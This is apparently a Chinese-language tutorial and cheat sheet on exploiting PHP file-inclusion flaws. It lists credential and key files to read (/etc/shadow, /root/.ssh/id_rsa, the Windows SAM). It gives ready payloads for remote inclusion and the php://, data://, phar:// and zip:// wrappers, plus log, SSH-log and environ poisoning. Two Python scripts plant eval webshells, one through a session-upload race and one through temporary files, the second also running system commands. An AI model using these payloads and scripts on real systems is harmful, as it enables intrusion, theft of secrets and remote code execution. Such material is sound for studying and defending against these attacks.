PHP文件包含漏洞相关
类别
- 本地文件包含
如若关闭allow_url_fopen
,一般只能包含本地文件
- 远程文件包含
需要开启allow_url_fopen
和 allow_url_include
注意:
php.ini中,allow_url_fopen默认开启,而allow_url_include从php5.2之后默认关闭
包含的相关函数
引发文件包含漏洞的相关函数如下:
- include()
- include_once()
- require()
- require_once()
require()在包含过程中出错(比如文件不存在),会直接退出,不执行后续语句
include()出错,会执行后续语句
require_once()和include_once(),如果某文件已经被包含,则不会再包含该文件,避免重定义或变量赋值等问题
以上四个函数,不论文件类型如何(比如图片、.txt),都会直接被当作php文件进行解析。
利用
本地敏感文件包含
常见敏感文件列表:
Windows:
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
...
Linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
远程文件包含
payload:
[http|https|ftp]://www.test.com/shell.txt
若后缀名写死,可以用 ? 绕过:
//www.test.com/shell.txt?a
如果是包含远程服务器上的PHP文件,那么得到的是被远程服务器解析过的PHP,所以在写一句话木马的时候就不要做成.php的文件,一般包含.txt的文件
伪协议
file://
一般用来读本地文件:
file://文件的绝对路径
php://协议
- php://input
php://input协议主要用于访问各个输入/输出流。
php://input可读取未经处理过的POST数据
当
enctype="multipart/form-data"
的时候,php://input是无效的
遇到file_get_contents
,也可使用php://input获取POST内容。
利用条件:
allow_url_fopen 无要求
allow_url_include = On
payload:
?file=php://input
POST:
<?php phpinfo ?>
- php://filter
php://filter是一种元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、file() 和 file_get_contents()。
常见参数:
string.toupper //上面有写
string.tolower //转换为小写
string.strip_tags //去除html和php标记,比如<?php?>
convert.base64-encode //base64编码
convert.base64-decode //base64编码
convert.quoted-printable-encode //quoted-printable 转 8bit
convert.quoted-printable-decode //同上
利用条件:
默认
payload:
?file=php://filter/convert.base64-encode/resource=include.php
解码后读取源码即可。
data://协议
利用data://伪协议进行代码执行的思路原理和php://是类似的,都是利用了PHP中的流的概念,将原本的include的文件流重定向到了用户可控制的输入流中。
利用条件:
php版本>=5.2
allow_url_fopen = On
allow_url_include = On
payload:
?file=data://text/plain,<?php phpinfo()?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
?file=data:text/plain,<?php phpinfo()?>
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
phar://协议
当文件上传被过滤,可结合文件包含利用。
利用条件:
php版本>=5.3.0
payload-将一句话-shell.php压缩为shell.zip,修改后缀为上传点允许值,例如.png,上传至网站:
//指定绝对路径
?file = phar:///var/www/html/test.png/phpinfo.txt
//指定相对路径
?file = phar://./test.png/phpinfo.txt
zip://, bzip2://, zlib://协议
这三个协议均属于压缩流,可访问压缩包中的子文件。后缀名无所谓,只要是zip文件头即可。
利用条件:
php版本>5.3.0
payload:
zip:///var/www/html/phpinfo1.php#phpinfo.php
注意
#
要url编码
伪协议总结
日志文件
Web请求一般会被记录再日志文件中,例如apache的access log
和error log
,该两个文件路径默认在/var/log/apache2/
下。
因此可以构造带有一句话木马内容的请求,会被记录日志中,再包含日志即可。
注意:
一般WWW用户是无权限读取该日志的,应用场景有限。
Session文件
PHP中 upload_process 和 session相关配置介绍
session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
session.use_strict_mode
enabled=on
表示当浏览器向服务器上传文件的时候,PHP会把本次文件上传的详细信息存储在session中cleanup=on
表示上传结束后,PHP会立即清空对应的session文件中的内容- PHP文档中对
prefix
和name
两个选项详细说明:
session.use_strict_mode=0
,表明用户可以自定义Session ID。具体而言,我们在Cookie中设置Cookie:PHPSESSID=test
,PHP将会在服务器上session存储的位置创建一个文件sess_test
,即使用户没有初始化Session,PHP也会自动初始化Session,并且产生一个键值,这个键值由session.upload_progress.prefix
+session.upload_progress_name
组成,最后被写入sess_test
文件中。
利用条件
-
能够创建session文件并知晓路径
-
内容可控
session路径
常见:
- /tmp/
- /tmp/sessions
- /var/lib/php/
- /var/lib/php/sessions/
利用思路
由于上传文件结束后,session文件会被清除,我们可以上传大文件,并在上传时自定义session让服务端创建session文件;同时使用条件竞争,在session文件被删除前抢先进行文件包含。
- bp抓包,跑上传大文件的intrude
- 跑文件包含的intrude
利用脚本多线程跑:
import io
import requests
import threading
sessid = 'test'
data = {"cmd":"system('whoami');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'http://127.0.0.1:7777/test56.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('haha.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('http://127.0.0.1:7777/test56.php?file=session/sess_'+sessid,data=data)
if 'haha.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in xrange(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in xrange(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()
SSH log
条件:
- 知晓SSH log路径,且可读
一般在/var/log/auth.log
payload:
ssh <?php phpinfo();?>@ip
再进行本地包含
environ
PHP以cgi方式运行,proc/self/environ
会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。
条件:
- CGI方式运行
- environ文件可读
临时文件
上述这些方法要求能够包含不再Web目录下的文件,一旦PHP设置了open_basedir,则很可能会使得攻击失效。
向服务器上任意 php 文件以 form-data 式提交请求上传数据时,会生成临时文件:
利用:
- 临时文件在短时间内会被删除,所以需要竞争条件
- 而临时文件名也不知道,如果服务器上有phpinfo,可以从
upload_tmp_dir
上获取
参考exp:https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py
自包含
让 php 包含自身从而导致死循环然后 php 就会崩溃,那么它所产生的临时文件就会被保留,而不会被清除,再进行包含。
思路:
- 上传产生临时文件
- phpinfo获取临时文件名
- 自包含
/test.php?include=test.php
形成无穷递归,中断删除过程 - 本地包含
上传文件+崩溃
让 php 包含自身从而导致死循环然后 php 就会崩溃,如果请求中同时存在一个上传文件的请求,则上传的该文件就会被保留。
利用脚本:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import string
import itertools
charset = string.digits + string.letters
host = "x.x.x.x"
port = 80
base_url = "http://%s:%d" % (host, port)
def upload_file_to_include(url, file_content):
files = {'file': ('evil.jpg', file_content, 'image/jpeg')}
try:
response = requests.post(url, files=files)
except Exception as e:
print e
def generate_tmp_files():
webshell_content = '<?php eval($_REQUEST[c]);?>'.encode(
"base64").strip().encode("base64").strip().encode("base64").strip()
file_content = '<?php if(file_put_contents("/tmp/ssh_session_HD89q2", base64_decode("%s"))){echo "flag";}?>' % (
webshell_content)
phpinfo_url = "%s/include.php?f=include.php" % (
base_url)
length = 6
times = len(charset) ** (length / 2)
for i in xrange(times):
print "[+] %d / %d" % (i, times)
upload_file_to_include(phpinfo_url, file_content)
def main():
generate_tmp_files()
if __name__ == "__main__":
main()
总结
当找不到本地可包含的文件,有三种方法可行:
- 产生临时文件,竞争条件getshell
- 使用session.upload_process,包含session文件
- 让PHP崩溃,同时产生临时文件或上传文件,都可被保留。